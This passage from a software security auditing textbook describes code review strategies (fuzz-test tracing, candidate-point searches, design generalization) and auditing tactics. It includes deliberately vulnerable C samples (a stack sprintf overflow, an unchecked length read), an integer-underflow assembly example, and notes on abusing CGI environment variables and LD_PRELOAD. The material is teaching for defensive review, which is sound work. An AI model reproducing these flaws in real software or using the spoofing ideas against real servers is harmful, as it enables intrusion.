vulnerabilities and isn't very thorough; however, it might enable you to catch 

"low-hanging fruit" in a short time. Occasionally, it will also help you find extremely 

subtle vulnerabilities that are difficult to identify with code analysis. 

The CC5 strategy (See Table 4-8) provides a method for including black box and 

fuzz-testing in a more detailed application assessment. The procedure for performing 

this strategy is fairly simple. It requires only a functioning version of the application 

and identification of the entry points you want to target. Then you need to tailor the 

types of inputs you generate from your fuzz-testing tool or manually iterate through 

a smaller set of inputs. For example, if you're auditing a Web server, and the entry 

point is a TCP port 80 connection, you probably want to use an HTTP protocol fuzzer. 

You might have additional knowledge of the implementation that enables you to 

further alter your inputs and improve your chances of successful hits. Of course, 

nonstandard or proprietary protocols or file formats might require far more effort in 

generating a fuzzing tool. Luckily, you can simplify this task to some degree by using 

frameworks such as SPIKE, discussed later in "Fuzz-Testing Tools(? [????.])." 

Table 4-8. CC5: Trace Black Box Hits 

Start point Data entry points 

End point Security vulnerabilities (open-ended) 
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Table 4-8. CC5: Trace Black Box Hits 

Start point Data entry points 

Trace method Forward, control-flow sensitive, data-flow sensitive 

Goal Trace an input path with an issue identified via black box (or 

fuzz) input testing. 

Difficulty Moderate 

Speed Fast 

Comprehension 

impact 

Medium 

Abstraction Basic implementation through design 

Strengths Traces some form of known issue 

Easy to stay on track 

Least mentally taxing of the code comprehension strategies 

Weaknesses Ignores many potential paths based on limitations of the 

testing approach 

A large number of false-positives can result in a huge waste of 

time 

 

Note 

Ideally, black box analysis should be part of the QA process. However, the QA process 

might not be broad enough to address the true range of potentially malicious input. 

So you should use any available QA testing harnesses but alter the input beyond the 

parameters they already check. 

 

The "Fault Injection" chapter of The Shellcoder's Handbook (Wiley, 2004(? [????.])) 

covers black box testing techniques extensively. It outlines a number of useful input 

generation methods, summarized in the following list: 

 Manual generation (black boxing) This method involves manually adding input 

data that you intend to test for. Often it produces the most useful and targeted 

results. 

 Automated generation (fuzzing) This method is good for testing products by 

using standard protocols, but bear in mind that it often neglects to account for 
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extensions offered by the application you're examining. This method is often 

useful in conjunction with manual generation; you can automatically test the 

standard protocol, and then use manual generation for extensions or 

discrepancies identified in other components of the review. Automated 

generation can still be used with nonstandard protocols, but it requires a 

framework such as SPIKE for automated generation. 

 Live capture This method allows input to be altered (or mutated) in an existing 

communication. It's particularly useful with state-based protocols because 

you can ignore a lot of required session setup and focus on vulnerabilities in 

later exchanges. 

Candidate Point Strategies 

Candidate point (CP) strategies are one of the fastest ways of identifying the most 

common classes of vulnerabilities. These strategies focus on identifying idioms and 

structured code patterns commonly associated with software vulnerabilities. The 

reviewer can then back-trace from these candidate points to find pathways allowing 

access from untrusted input. The simplicity of this approach makes candidate point 

strategies the basis for most automated code analysis. Of course, the disadvantage is 

that these strategies don't encourage a strong understanding of the code and ignore 

vulnerabilities that don't fit the rather limited candidate point definitions. 

General Candidate Point Approach 

The CP1 strategy (see Table 4-9) is almost the opposite of a code comprehension 

strategy. You start with the lowest-level routines that grant access to application 

assets or could harbor a vulnerability. This process might involve using automated 

tools to discover potentially unsafe code constructs or just a simple text search based 

on your existing knowledge of the application and potential vulnerabilities. You then 

trace backward through the code to see whether these routines expose any 

vulnerabilities accessible from an application entry point. 

Table 4-9. CP1: General Candidate Point Approach 

Start point Potential vulnerabilities 

End point Any form of user-malleable input 

Tracing method Backward, control-flow sensitive, data-flow sensitive 

Goal Given a list of potential vulnerabilities, determine whether they 

are exploitable 

Difficulty Easy to moderate 

Speed Medium 

Comprehension Low 
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Table 4-9. CP1: General Candidate Point Approach 

Start point Potential vulnerabilities 

impact 

Abstraction Basic implementation through complex implementation 

Strengths Good coverage for known vulnerability classes 

Isn't too mentally taxing 

Hard to go off track 

Weaknesses Biases the reviewer to confirming only a limited set of potential 

issues Comprehension impact is much lower than with code 

comprehension strategies 

The results are only as good as your candidate points 

 

For example, say you use an analysis tool that reports the following: 

util.c: Line 1293: sprintf() used on a stack buffer 

 

You would attempt to verify whether it's really a bug. The function might look 

something like this: 

int construct_email(char *name, char *domain) 

{ 

    char buf[1024]; 

 

    sprintf(buf, "%s@%s", name, domain); 

 

    ... do more stuff here ... 

} 

 

You can't determine whether this bug is exploitable until you verify that you can 

control either the name or domain argument to this function, and that those strings can 

be long enough to overflow buf. So you need to check each instance in which 

construct_email() is called to verify whether it's vulnerable. This verification 

approach is actually fairly quick, but it has a number of drawbacks. Mainly, it's an 

incomplete approach; it improves your familiarity with the application, but it doesn't 

increase your understanding of how the application works. Instead, you must rely on 

assumptions of what constitutes a vulnerability, and these assumptions might not 
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reflect the code accurately. Therefore, using only this approach can cause you to miss 

more complex vulnerabilities or even simple vulnerabilities that don't fit strict 

classifications. 

Automated Source Analysis Tool 

The CP2 strategy (see Table 4-10) can be used to generate candidate points, as 

discussed in the CP1 strategy. This strategy has gotten a lot of press in the past few 

years, as software companies scramble to find simpler and less expensive methods of 

securing their applications. The result has been an explosion in the number and 

variety of source analysis tools. 

Table 4-10. CP2: Automated Source Analysis Tool 

Start point Potential vulnerabilities 

End point Any form of user-malleable input 

Tracing method Backward, control-flow sensitive, data-flow sensitive 

Goal Identify vulnerabilities based on a list of candidate points and 

code paths obtained from automated analysis tools. 

Difficulty Easy to moderate 

Speed Fast to very slow (depending on false-positive rate) 

Comprehension 

impact 

Very low 

Abstraction Basic implementation through complex implementation 

Strengths Good coverage for easily identified vulnerabilities 

Isn't mentally taxing 

Hard to go off track 

Weaknesses Biases the reviewer to confirming only a limited set of potential 

issues Comprehension impact is much lower than with code 

comprehension strategies 

The results are only as good as your search method 

 

Early source-code analysis systems were just simple lexical analyzers; they searched 

for patterns matching potentially vulnerable source strings. Newer systems can 

actually perform a fairly detailed analysis of an application's data flow and identify 

several classes of vulnerabilities. These tools can be helpful in identifying candidate 
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points and even offer some level of analysis to speed up manual review of identified 

candidates. 

The downside of automated source analysis tools is that they are in their infancy. The 

current batch of tools require a high time and cost investment and have inconsistent 

performance. Most tools require extensive configuration and have serious issues with 

identifying excessive false-positive candidate points. This problem is so severe that 

the results of the tool are often ignored because of time required to trace all the 

false-positive results. 

Finally, as a candidate point strategy, automated source analysis tools focus only on 

a specific set of potentially vulnerable idioms. Therefore, they are limited in the 

classes of vulnerabilities they can detect. Even the best automated source analysis 

tools fail to identify simple vulnerabilities outside their parameters or complex 

vulnerabilities that lack an easily defined direct relationship. These complex 

vulnerabilities include most design and logic vulnerabilities in addition to many of the 

more complex implementation vulnerabilities. 

Taking all the preceding points into account, there is still a lot of potential for 

automated source analysis tools. The technology will certainly improve, and the 

long-term benefits will eventually outweigh the downsides. In fact, many 

development groups are already using automated analysis to augment manual code 

review and internal quality control. This practice can be expected to grow as tools 

become more flexible and can be integrated into the complete review process more 

effectively. 

Simple Lexical Candidate Points 

A wide range of vulnerabilities lend themselves to identification based on simple 

pattern-matching schemes (the CP3 strategy shown in Table 4-11). Format string 

vulnerabilities and SQL injection are two obvious examples. In identifying these 

vulnerabilities, the reviewer uses a utility such as grep or findstr to generate a list of 

candidate points from across a codebase. This list is then paired down based on what 

the reviewer knows about the application design. For instance, you should be able to 

eliminate the majority of these candidate points by simply identifying whether they 

are in a module that handles any potentially malicious input. After the list has been 

paired down, you use the general candidate point approach (CP1) to identify any 

exploitable paths to this location. 

Table 4-11. CP3: Simple Lexical Candidate Points 

Start point Potential vulnerabilities 

End point Any form of user-malleable input 

Tracing method Backward, control-flow sensitive, data-flow sensitive 
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Table 4-11. CP3: Simple Lexical Candidate Points 

Start point Potential vulnerabilities 

Goal Identify potential vulnerabilities based on simple pattern 

matching, and then trace to entry points for confirmation. 

Difficulty Easy to moderate 

Speed Fast to medium (depending on the number of points) 

Comprehension 

impact 

Low 

Abstraction Basic implementation through complex implementation 

Strengths Good coverage for known vulnerability classes 

Isn't too mentally taxing 

Hard to go off track 

Weaknesses Capable of confirming only a limited set of potential issues 

Comprehension impact is almost nonexistent 

The results are only as good as the search pattern 

 

 

Simple Binary Candidate Points 

As with source analysis, a range of candidate points can be identified fairly easily in an 

application's binary code (the CP4 strategy shown in Table 4-12). For example, you 

can identify a starting list of candidate points for sign extension vulnerabilities by 

listing the occurrences of the MOVSX instruction on an Intel binary executable. You 

can also search for many equivalent source patterns in the binary; this method is 

essential when you don't have access to the application's source code. You can then 

pair down the list and trace in essentially the same manner you would for the lexical 

candidate point strategy (CP3). 

Table 4-12. CP4: Simple Binary Candidate Points 

Start point Potential vulnerabilities 

End point Any form of user-malleable input 

Tracing method Backward, control-flow sensitive, data-flow sensitive 

Goal Identify potential vulnerabilities based on patterns in the 

application's binary code and then trace to entry points for 
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Table 4-12. CP4: Simple Binary Candidate Points 

Start point Potential vulnerabilities 

confirmation. 

Difficulty Easy to moderate 

Speed Fast to medium (depending on the number of points) 

Comprehension 

impact 

Low 

Abstraction Basic implementation through complex implementation 

Strengths Good coverage for known vulnerability classes 

Isn't too mentally taxing 

Hard to go off track 

Weaknesses Capable of confirming only a limited set of potential issues 

Comprehension impact is almost nonexistent 

The results are only as good as the search pattern 

 

 

Black Box-Generated Candidate Points 

When black box testing returns results indicating software bugs, you need to work 

backward from the fault point to find the cause. This strategy (CP5) is summarized in 

Table 4-13. 

Table 4-13. CP5: Black Box-Generated Candidate Points 

Start point Potential vulnerabilities 

End point Any form of user-malleable input 

Tracing method Backward, control-flow sensitive, data-flow sensitive 

Goal Identify potential vulnerabilities based on patterns in the 

application binary and then trace to entry points for 

confirmation. 

Difficulty Easy to moderate 

Speed Fast to medium (depending on the number of points) 

Comprehension 

impact 

Low 
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Table 4-13. CP5: Black Box-Generated Candidate Points 

Start point Potential vulnerabilities 

Abstraction Basic implementation through complex implementation 

Strengths Good coverage for known vulnerability classes 

Is not overly taxing mentally 

Hard to go off track 

Weaknesses Only capable of confirming a limited set of potential issues 

Comprehension impact is almost nonexistent 

The results are only as good as the tool 

 

Most of the time, the black box method involves performing some level of crash 

analysis. To perform this step, you probably need to be familiar with assembly code. 

Many debuggers can correlate source code with assembly code to some degree, so if 

you have source code available, you might not need to be as familiar with assembly 

code. Sooner or later, however, a good auditor should be competent at reading and 

interpreting assembly code. Fortunately, it's something that you will almost certainly 

pick up with experience, and you can take advantage of a lot of available literature on 

assembly code for a variety of architectures. Because most popular software is 

compiled for Intel platforms, you will probably want to learn this platform first. In 

addition to books and online tutorials, you can find a comprehensive manual of the 

Intel instruction set and programming guides from Intel at 

www.intel.com/design/pentium4/manuals/index_new.htm. 

Now you have the challenge of tracing backward from a memory dump of where the 

crash occurred to where in the code something went wrong. This topic could warrant 

an entire chapter or more, but because it's not the focus of this chapter (or the book), 

just the basics are covered. First, some crash dumps are easy to find because they 

crash precisely at the location where the bug is triggered. Consider this following code, 

for example: 

text:76F3F707            movzx   ecx, word ptr [eax+0Ah] 

text:76F3F70B            dec     ecx 

text:76F3F70C            mov     edx, ecx 

text:76F3F70E            shr     ecx, 2 

text:76F3F711            lea     edi, [eax+19h] 

text:76F3F714            rep movsd 

text:76F3F716            mov     ecx, edx 

text:76F3F718            and     ecx, 3 

http://www.intel.com/design/pentium4/manuals/index_new.htm
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text:76F3F71B            rep movsb 

text:76F3F71D            pop     edi 

text:76F3F71E            pop     esi 

 

A huge memory copy will occur, assuming you can control the short integer located at 

[eax+0Ah] and set that integer to 0. If it's set to 0, the dec ecx instruction causes an 

integer underflow, which results in a large memory copy. 

Note 

This type of bug is discussed in more detail in Chapter 6(? [????.]), "C Language 

Issues." Don't worry if you don't understand it now. Just be aware that a huge 

memory copy occurs as a result, thus corrupting large amounts of program data. 

 

If you had fuzz-tested this bug, it would crash on the rep movsd instruction. This bug 

is fairly straightforward to analyze via back-tracing because you know instantly where 

the crash occurs. 

The remaining work is to figure out where [eax+0Ah] is populated. Usually you search 

the immediate function where the application has crashed; failing that, you might 

need to do more investigative work. In this case, you need to see where the eax 

register was set and trace back to find where it was allocated. In object-oriented code, 

references like this might refer to an object instantiation of a class, which makes 

things more difficult (if you have only the binary to work with) because you can't see 

a direct path from the population of that memory location to a place where it's 

referenced and used. Thankfully, othersin particular, Halvar Flakehave done work on 

dealing with object recognition in binaries and weeding out unwanted code paths to 

help isolate activity in a certain part of the application. (Flake's BinNavi tool and 

objrec IDA plug-in are described in "Binary Navigation Tools(? [????.])," later in this 

chapter.) In this situation, a crash is analyzed with this basic procedure: 

1.  Examine the instruction where the program crashed to see why the fault was 

generated. Was an invalid source operand read? Was an invalid destination 

operation written to? Was an index to a memory location too large or too small? 

Was a loop counter not a sane value? 

2.  Work backward to determine where the invalid operand came from. Look back in 

the local function to see where the relevant register was populated. Was it 

populated by a structure member? Was it set locally? Is it an argument? For 

structure or object members, this step might involve quite a bit of work. 

3.  Connect the invalid operand with some data fed into the program at the entry 
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point you were fuzz-testing. Determine what part of the data caused the 

exception to occur. 

The second example of dealing with faults happens when the application crashes at a 

seemingly random location. This can happen when memory corruption occurs at 

some point in the program but the corrupted memory region isn't accessed (or 

accessed in such a way that a fault is generated) until much later in the code. In fact, 

in the previous assembly example, imagine that you traced it back and determined 

that [eax+0Ah] was set to 10 when a class was initialized and is never changed. This 

crash then becomes mystifying because you have determined that [eax+0Ah] is never 

set to 0, yet here it is crashing because it was set to 0! In this case, what has likely 

happened is one of two things: 

 You corrupted memory somewhere early in the structure that eax points to. 

 You corrupted another buffer on the heap, and it has overwritten the structure 

eax points to. 

If the first case is true, when you fuzz the application again with the same input, an 

identical crash will probably occur, but if the second case is true, the application might 

crash somewhere totally different or not at all. 

So how do you find out what's going on? Several tools are available to help you 

discover the cause of a fault, depending on the nature of the vulnerability. The easiest 

one to discover is when a buffer that's not part of any sort of structure has been 

allocated on the heap and overflowed. Although the random crashes seem like a 

problem at first, you can isolate problems such as this one fairly quickly. Microsoft has 

a tool named gflags that's part of the Microsoft Debugging Tools for Windows 

(available at www.microsoft.com/whdc/devtools/debugging/debugstart.mspx), 

which is useful in this situation. In particular, you can use it to enable "heap paging" 

functionality in the process you're debugging. Essentially, heap paging causes each 

request for memory to be allocated at the end of a page so that a guard page 

immediately follows the memory allocated. So when a buffer overflow occurs, an 

attempt is made during the copy operation to write data to the guard page, thus 

triggering an exception. Therefore, you can cause an exception to occur immediately 

when the bug is triggered. 

Custom memory allocators might be more difficult, however. One approach is to 

intercept calls to the custom memory allocation routines and redirect them to system 

allocation routines. The difficulty of this approach depends on the OS, whether 

memory allocators are in a separate shared library, and whether they are externally 

accessible symbols. Other solutions might include patching binary code to make the 

custom memory allocators do nothing except call the real allocation routines. Some of 

these methods can become messy and programming intensive, but your choice 

depends on the testing environment and what tools you have available. For example, 

http://www.microsoft.com/whdc/devtools/debugging/debugstart.mspx
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in a UNIX environment, hijacking function calls to a shared library is quite simple 

using the LD_PRELOAD functionality that UNIX linkers provide. You can set this 

environment variable to direct the linker to load a library of your choosing instead of 

the library function that's intended to be called. 

Note 

The LD_PRELOAD linker functionality has been a target of security bugs in the past, 

and it's discussed in more detail in the coverage of UNIX vulnerabilities in Chapter 10(? 

[????.]), "Unix II: Processes." 

 

Another quick-and-dirty hack involves using a debugger to manually redirect calls 

from one location to another to cause different allocation routines to be called. For 

example, you could set a breakpoint in a debugger on a custom application, and then 

set the instruction pointer to point to the system's memory allocator whenever the 

breakpoint is triggered. This method is tedious because allocations probably occur 

hundreds of times in the application you're examining; however, many debuggers 

enable you to create scripts or carry out tasks automatically when a breakpoint is 

triggered. For example, in the SoftICE debugger, you could issue the following 

command: 

bpx 12345678 DO "r eip malloc" 

 

This command sets a breakpoint on memory location 0x12345678 (assuming the 

custom memory allocator is at that location). When the breakpoint is triggered, the 

instruction pointer is changed to point to the malloc() routine instead. 

If you have corrupted a structure, you need to examine the effects of that corruption 

to understand how it occurred. Look for the offset of the lowest corrupted structure 

member to get a more accurate location. Once you know the location, you should be 

able to determine that the corruption occurred in one of the following two ways: 

 A buffer in the structure was the target of an unsafe copy. 

 An array of some other data type (integers or pointers, perhaps) has been 

copied into unsafely because of an invalid index into that array or because it 

simply copied too many elements into the array. 

So you need to identify where the corrupted elements exist in the structure you are 

examining. Doing this can cut down on time spent examining how the structure is 

manipulated, as fixed-size data types being modified aren't a concern. The way 

certain offsets of the structure are accessed gives you a clear indication of what kind 
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of data is being stored there. Code indicating data buffers in a structure might look 

something like this: 

lea eax, [ebx+0FCh] 

push [ebp + arg_0] 

push eax 

call strcpy 

 

Suppose you're examining a crash because [ebx+124h] is supposed to be a pointer, 

but instead it's 0x41414141 because you have somehow corrupted the structure. 

Looking at the preceding code, you can see that [ebx+0FCh] is apparently a string 

because it's passed as the destination argument to strcpy(). You could then trace 

back arg_0 and see whether you controlled it and whether it's indeed the result of the 

structure corruption. 

Application-Specific Candidate Points 

After you've spent some time with a codebase, you'll start to notice recurring 

vulnerable patterns and programmatic idioms. Sometimes they are vulnerable utility 

functions, such as a database wrapper or a string-handling routine. With the CP6 

strategy (see Table 4-14), you focus on the similarities in these patterns and develop 

simple methods of searching the code to generate candidate point lists. Usually this 

strategy involves nothing more than creating a simple script of regular expression 

tests in your language of choice. Although you might get sidetracked in the Perl 

versus Python versus Ruby versus flavor-of-the-month debate. It's worth pointing 

out that the cool kids are using Haskell. 

Table 4-14. CP6: Application-Specific Candidate Points 

Start point Potential vulnerabilities 

End point Any form of user-malleable input 

Tracing method Backward, control-flow sensitive, data-flow sensitive 

Goal Identify potential vulnerabilities based on patterns observed in 

the review up to this point. 

Difficulty Easy to moderate 

Speed Fast 

Comprehension 

impact 

Very low 

Abstraction Basic implementation through implementation logic 
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Table 4-14. CP6: Application-Specific Candidate Points 

Start point Potential vulnerabilities 

Strengths Good balance of speed and depth of coverage 

Isn't too mentally taxing 

Hard to go off track 

Weaknesses Requires a thorough understanding of the codebase 

Comprehension impact is almost nonexistent 

Biases the reviewer toward confirming only a limited set of 

potential issues 

 

 

Design Generalization Strategies 

Design generalization (DG) strategies focus on identifying logic and design 

vulnerabilities by reviewing the implementation and inferring higher-level design 

abstractions. After you have this understanding, you can use design generalization 

strategies to identify areas of overlapping trust where trust boundaries are required. 

This approach is a variation on generalization in software design, in which 

higher-level interfaces and components are developed by generalizing lower-level 

implementations. Generalization strategies are used primarily as a follow-up 

component to other strategies because they require a good understanding of the 

application's implementation and function. 

Model the System 

Chapter 2(? [????.]) discussed threat modeling as a way to develop an abstraction for 

a system by the process of factoring (top-down). However, there's no reason you 

can't run the threat model in reverse and model the system by generalizing from the 

implementation (bottom-up), and then factoring back down into components you 

haven't seen yet. This DG1 strategy (see Table 4-15) can be extremely thorough and 

is highly effective when you want to establish the most detailed knowledge of the 

system. Unfortunately, it's also slow, as it amounts to reverse-engineering the 

complete design from the implementation. However, it's the best method for 

identifying design and architectural vulnerabilities from an existing implementation. 

Table 4-15. DG1: Model the System 

Start point Beginning of module under review 

End point Security vulnerabilities (open-ended) 
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Table 4-15. DG1: Model the System 

Start point Beginning of module under review 

Tracing method Varies 

Goal Identify more abstract (logic and higher-level) vulnerabilities by 

modeling the actual behavior of the system. 

Difficulty Hard 

Speed Slow 

Comprehension 

impact 

Very high 

Abstraction Implementation logic through architectural 

Strengths Provides the most effective method for identifying logic and 

design vulnerabilities 

Can identify some types of operational vulnerabilities 

Provides detailed knowledge of the application's design and 

architecture 

Weaknesses Requires a strong understanding of the system implementation 

Easy to go off track 

Requires focus and experience 

Can be time consuming 

 

Typically, you need to perform detailed modeling for only security-critical 

components, such as the application's security subsystem, input handling chain, or 

other major framework components used throughout the application. However, an 

application refactoring cycle does give you an opportunity to build a complete model 

that has been validated against the implementation. This cycle introduces overhead 

into the refactoring process, but it's far less obtrusive than modeling after the 

application is finished, and it can pay dividends in securing the application design 

during and after refactoring. 

Hypothesis Testing 

The DG2 strategy (see Table 4-16) is simply the process of attempting to determine 

the design of smaller programmatic elements by making a hypothesis and testing it 

through observations of the implementation. This strategy is especially necessary for 
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any medium to large applications because they are too large to wrap your brain 

around at one time. Instead, you make a guess on what abstraction the 

implementation reflects, and then try to analyze the implementation in the context of 

that assumption. If you're right, you've successfully reverse-engineered an element 

of the design from the implementation. If you're wrong, your efforts should give you 

enough context to make a more educated guess of the correct purpose. 

Table 4-16. DG2: Hypothesis Testing 

Start point Beginning of code elements under review 

End point Security vulnerabilities (open ended) 

Tracing method Varies 

Goal Identify more abstract (logic and higher level) vulnerabilities by 

modeling the actual behavior of the system. 

Difficulty Hard 

Speed Medium 

Comprehension 

impact 

Very high 

Abstraction Implementation logic through architectural 

Strengths Is a faster method for identifying issues in the design of 

programming elements 

Helps build a good understanding of design aspects 

Is well suited to identifying more complex and subtle issues 

Weaknesses Easy to go off track 

Poor assumptions can derail later elements of the review 

Can be mentally taxing 

 

 

Deriving Purpose and Function 

The DG3 strategy outlined in Table 4-17 refers to the process of directly identifying 

the abstraction an implementation represents. One of the best ways to perform this 

strategy is by picking key programmatic elements and summarizing them. For 

example, try to identify code elements that appear to enforce a trust boundary. Then 

attempt to derive the associated trust levels, privileges, and basic structure from the 

implementation. This method can require copious note taking and some diagramming, 

and you might have a few missteps; however, at the end, you should have a good 
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understanding of the programmatic idioms responsible for the component of the trust 

model you're assessing. From this understanding, you should be able to identify 

design and architectural issues in this part of the model. 

Table 4-17. DG3: Deriving Purpose and Function 

Start point Beginning of code elements under review 

End point Security vulnerabilities (open-ended) 

Trace method Varies 

Goal Identify more abstract (logic and higher level) vulnerabilities by 

modeling the actually behavior of the system. 

Difficulty Hard 

Speed Medium 

Comprehension 

impact 

Very high 

Abstraction Implementation logic through architectural 

Strengths Focuses on the areas that are known to be security relevant 

Helps build a more complete model of the application design and 

architecture 

Helps build a good understanding of individual design aspects 

Weaknesses Poor assumptions can derail later elements of the review 

Mentally taxing 

 

 

Design Conformity Check 

As you review an application's implementation, you'll see a number of commonly 

traveled code paths, and you should focus your design generalization efforts on these 

areas. You need to look closely at the "gray areas" in these componentsparts of the 

design where a correct action is undefined in a certain case, thus resulting in 

implementation-specific behavior. If you don't have access to a formal specification, 

you don't know whether a piece of code is implementing defined behavior; however, 

this might not matter. Essentially, your goal is to examine all the oddball cases when 

some operation is performed on potentially untrusted data. After you discover what 

the application is attempting to perform in a function or module, it becomes apparent 

when something incorrect is allowed to pass through. This DG4 strategy is 

summarized in Table 4-18. 
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Table 4-18. DG4: Design Conformity Check 

Start point Beginning of module under review 

End point End of module under review 

Tracing method Forward, control-flow sensitive, data-flow sensitive 

Goal Identify vulnerabilities in the implementation caused by 

deviations from the specification. 

Difficulty Moderate 

Speed Medium 

Comprehension 

impact 

Medium 

Abstraction Implementation logic through design 

Strengths Hard to go off track 

Provides a good balance of implementation and design 

understanding 

Much easier than deriving function without a design 

Weaknesses Misinterpretation of the design could result in overlooking 

vulnerabilities 

The quality of this strategy relies heavily on the original 

design's quality and accuracy 

 

This strategy is concerned with identifying vulnerabilities that result from 

discrepancies between a design specification and an implementation. The design 

specification is a guideline for what the application is supposed to do, but these 

specifications are rarely followed to the letter. Design specifications often fail to 

define behavior for every single case, resulting in "gray areas" that later developers 

must interpret. After you're familiar with the application's internals, you should 

identify variances between the specification and implementation. You need to identify 

the implications of that variance and how they could affect the application's security. 

Sometimes a specification policy breach has no security impact; however, many 

security vulnerabilities are the result of specification variances with unintended 

consequences. 

Note 

The term "policy breach," not "security breach," has been used in this discussion. In 

a policy breach, the application allows some condition to happen that shouldn't be 
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allowed according to the specification. Policy breaches often equate to security 

breaches, but not always. 

 

Determining the consequences is a matter of considering how the newly discovered 

behavior might affect the rest of the system. This determination involves reading the 

code at each point affected by the policy breach and considering special cases the 

underlying platform might present. For example, imagine auditing a Web server that 

allows you to set arbitrary environment variables when receiving certain malformed 

headers. (Usually, each header is prefixed with HTTP_ and then set as an environment 

variable.) This behavior is most certainly a policy breach. To evaluate the 

consequences, you need to read other parts of the system to determine how 

attackers might be able to abuse this inconsistency with the specification. In this case, 

you would probably discover that you could set arbitrary values for security-relevant 

Common Gateway Interface (CGI) variables in a server-side application. You might 

be able to set the AUTH_USER variable to fool an application into thinking you had 

already authenticated or set REMOTE_HOST and REMOTE_ADDR to make it seem as though 

you're connecting locally and (as such) allowed to access sensitive data. On UNIX 

systems, your knowledge of the operating system might suggest that setting the 

special linker environment variables (such as LD_PRELOAD) could be useful and result in 

running arbitrary code. 

6.4.9 Code-Auditing Tactics 

Now that you understand the basic review strategies, some general guidelines for 

reviewing code are introduced. These guidelines aren't hard-and-fast rules; rather, 

they are invaluable techniques and tricks developed through years of experience. 

These techniques help to ensure thorough coverage and understanding of even the 

most subtle vulnerabilities. After all, it's easy to make mistakes and skip a line or two 

when assessing a massive codebase. Unfortunately, one or two lines can be the 

difference between safe code and vulnerable code. However, by carefully applying the 

strategies discussed earlier along with the following simple tactics, your effectiveness 

should improve quickly. 

Internal Flow Analysis 

In the previous discussion on code flow, the strategies addressed intermodule and 

interprocedural relationships. This code flow analysis is good for navigating between 

functions, but when analyzing a code fragment, you need to perform intraprocedural 

and intramodule analysis. These types of analysis require being sensitive to both 

control flow and data flow within a function, regardless of how you handle tracing 

outside the function. To see how this analysis works, walk through a fairly simple code 

path in the following C function: 
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char *ReadString(int fd, int maxlength) 

{ 

    int length; 

    char *data; 

 

    if(read_integer(fd, &length) < 0) 

        return NULL; 

 

    data = (char *)malloc(length + 1); 

 

    if(data == NULL) 

        return NULL; 

 

    if(read(fd, data, length) < 0) 

    { 

        free(data); 

        return NULL; 

    } 

 

    data[length] = '\0'; 

 

    return data; 

} 

 

This function simply reads a variable-length string from network input and returns a 

pointer to it. It does this by reading an integer value representing the length, and 

then reading a number of bytes equal to that value. However, even this simple 

function has several potential code paths to examine. First, say read_integer() fails. 

The code that runs would then look like this: 

read_integer(fd, &length); 

return NULL; 

 

Not much happens here, so look at where the call to read() fails instead: 

read_integer(fd, &length); 

data = malloc(length + 1); 

read(fd, data, length); 

free(data); 

return NULL; 
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As you can see, there's a major difference between handling a failure in read_integer() 

and one in read(). This simple example shows how subtle changes can drastically 

affect a code path in a way that's not obvious. Functions in real-world applications are 

usually more complicated and contain many code paths. When examining a function 

you've identified and traversing the relevant code paths, minimizing your chances of 

missing vulnerabilities is important. Many code paths share common sections, so 

analyzing all the relevant ones isn't quite as much work as it seems. Also, you can 

usually handle reading several code paths at once. For example, reading the previous 

function, you can safely ignore most of the error-checking failures as not being 

relevant to security. However, be careful when you make the distinction between 

what is and isn't security relevant. Reviewers tend to overlook code paths containing 

serious vulnerabilities in these two areas: error-checking branches and pathological 

code paths. 

Error-checking branches are the code paths that are followed when validity checks 

result in an error. They include the two paths shown in the preceding examples and 

typically cause a return from a function or exit from the program. In the examples, 

these simple code paths could be dismissed easily, but remember that they are still 

code paths. Even if triggering the error seems unlikely, it's important to see what 

happens when the error does occur because the error-handling code belongs to a 

code path that's hardly ever traversed and probably not as well tested and audited. 

This topic is discussed more in Chapter 7(? [????.]), "Program Building Blocks." 

Pathological code paths describe functions with many small and nonterminating 

branches (that is, branches that don't result in abrupt termination of the current 

function). These functions create an exponential number of similar code paths and 

can be extremely difficult to trace. Going through these functions several times and 

examining each code path in isolation is a good idea, as some paths can be triggered 

by unexpected conditions. That is, it's possible to trigger paths that make no sense 

logically but aren't prohibited by the implementation. 

Subsystem and Dependency Analysis 

A common misconception is that security code review should be targeted at modules 

that deal directly with user input from a specified entry point. Although this approach 

sounds reasonable, it could fail to account for all possible control flows and data flows 

affected by the input. First, the application design might not allow easy separation of 

the entry point and data parsing from the rest of the codebase. For instance, the 

relevant data-parsing module might depend on several other system components. 

Second, the application might not be especially modular in its implementation. Both 

reasons result in the same problemyou can't just pick relevant code paths and 

examine them without much knowledge of the rest of the application. Therefore, you 

need to make an early effort to identify module subsystems and dependencies and 

familiarize yourself with their behavior. 
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For example, large applications commonly use their own memory allocation 

subsystems. These allocators might be wrappers to system memory allocators or 

complete replacements, which fall back on the system allocator only when requesting 

large blocks the application manages (the Apache Web server manages its memory in 

a similar manner). Any variance between the system allocator's and the custom 

allocator's behavior might be important, as you see later in Chapter 7(? [????.]). 

In addition to allocators, you might need to review a variety of common subsystems 

more thoroughly, including the following: 

 String and binary data buffer handlers 

 String parsers 

 System API replacements (such as file manipulation APIs and network APIs) 

 Data storage subsystems (hash table classes, for example) 

You also need to be familiar with the quirks of any standard system functionality in 

use. Later chapters cover these issues for both Windows and UNIX operating systems. 

However, many less used functions aren't mentioned. When you encounter system 

functions you don't know, learn exactly how that function works. After all, such 

functions can often provide you with new security relevant quirks to look for in the 

future. 

Rereading Code 

Even the simple act of reading tends to be an iterative process. Often you need to 

read the same code paths several times over to account for all the vulnerability 

classes you need to consider. For example, one approach is to focus on 

integer-related vulnerabilities, memory management vulnerabilities, and formatted 

data vulnerabilities in one pass. Then you make another pass to focus on functional 

audits (checking return values, error prone API calls, and so on). Finally, you could 

make a pass to identify any synchronization vulnerabilities. 

There's no metric to determine how many passes a piece of code requires. For 

example, you don't need to consider synchronization vulnerabilities if the code 

doesn't run in a multithreaded context, deal with asynchronous events, or modify 

shared data. Exercise your own judgment in determining how many passes to make; 

however, at least two passes are recommended because with only one pass, you 

might miss subtle complexities in the code or make an obvious oversight. 

Especially complex code can be difficult to wrap your brain around, so you might need 

several passes to understand what it's doing. Even after reaching a thorough 

understanding, it's a good idea to go back later and check that your comprehension of 

the code is correct as well as complete. Security vulnerabilities usually exist because 

of oversights in seemingly minor details that have a major impact on the code. You 

need to keep asking questions about even simple-looking code. Are global variables 
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or structure members altered? Are return values or arguments not always initialized? 

Are return values ignored or misinterpreted because of typing errors or incorrect calls? 

These questions are just a few things you need to consider for each function you 

examine. The best way to make sure you cover all your bases is to evaluate some 

code and then go back and make sure you didn't miss anything. Even Santa has to 

check his list twice! 

Desk-Checking 

Sometimes you see code that's difficult to evaluate in your head. The code might have 

too many variables coming from different places and being reassigned, or peculiar 

code constructs with side effects that aren't obvious. In these cases, desk-checking is 

